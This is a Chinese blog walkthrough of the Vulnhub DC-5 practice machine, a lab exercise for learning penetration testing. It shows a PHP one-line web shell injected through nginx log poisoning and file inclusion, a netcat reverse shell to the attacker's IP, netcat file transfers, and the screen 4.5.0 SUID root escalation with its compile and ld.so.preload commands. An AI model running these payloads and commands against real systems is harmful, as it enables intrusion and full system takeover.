Vulnhub实战靶场:DC-5

一、环境搭建

1、官网下载连接:https://www.vulnhub.com/entry/dc-5,314/

2、下载之后,使用Oracle VM VirtualBox导入靶场环境

3、为了正常练习,将靶场的网卡模式设置为桥接模式,启动即可

 

 二、靶机攻略

1、依照惯例,使用命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 10.10.114.0/24,快速探测存活主机,找到靶场ip

 2、探测靶场启动的服务,使用命令:nmap -A- -p 10.10.114.216,发现开启了80和111端口,111端口没查到有可以利用的点,还是从80端口寻找突破口

 3、访问靶场80端口,在http://10.10.114.216/contact.php页面,发现了交互地方,提交之后,每次刷新,下方时间会变化

 

4、 猜测,下边月份显示可能是调用文件之后返回数值,所以尝试使用包含,发现成功文件包含

 5、通过浏览器插件,知道HTTP使用的中间件有Nginx

 6、查询到nginx配置文件路径,包含过来查看

读取nginx配置文件信息,发现nginx日志记录文件路径

 在日志中,发现所有的访问记录,都会被记录,没有转码啥的

 7、既然所有都明文传输被解析,那就利用这个特性,传入一句话,并让他解析出来

打开Burpsuite,抓包修改file参数,传入一句话file=<?php system($_GET['x']) ?>

 在进行包含nginx的错误日志,利用一句话

 8、利用一句话,反弹shell

在kali使用nv监听端口,然后一句话传入:nc -e 10.10.114.186 2345,成功接收到shell

 使用命令:python -c "import pty;pty.spawn('/bin/bash')",接收交互式shell

 9、下一步进行提权,使用命令:find / -user root -perm -4000 -print 2>/dev/null,查找是否有可利用的suid,发现screen-4.5.0

 10、利用searchsploit screen 4.5.0找到了利用的文件

 查看41154.sh,发现提权方法

 

11、根据使用说明,创建两个文件libhax.c和rootshell.c,之后使用gcc进行编译

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

gcc -o /tmp/rootshell /tmp/rootshell.c

 12、利用nc的管道,将编译好的文件传输过去

kali攻击机使用命令:nc -nlvp 4567 < libhax.so

靶场使用命令:nc 10.10.114.186 4567 > libhax.so,连接之后kali断开即可

kali攻击机使用命令:nc -nlvp 4567 < rootshell

靶场使用命令:nc 10.10.114.186 4567 > rootshell,连接之后kali再次断开即可

 13、根据提权说明,使用方法

首先输入命令:cd /etc

然后输入命令:umask 000

然后输入命令:screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

然后输入命令:screen -ls

最后输入命令:/tmp/rootshell,成功提权

 最后在root目录下,得到flag

posted @ 2020-10-28 17:20  bonga  阅读(1825)  评论(0编辑  收藏  举报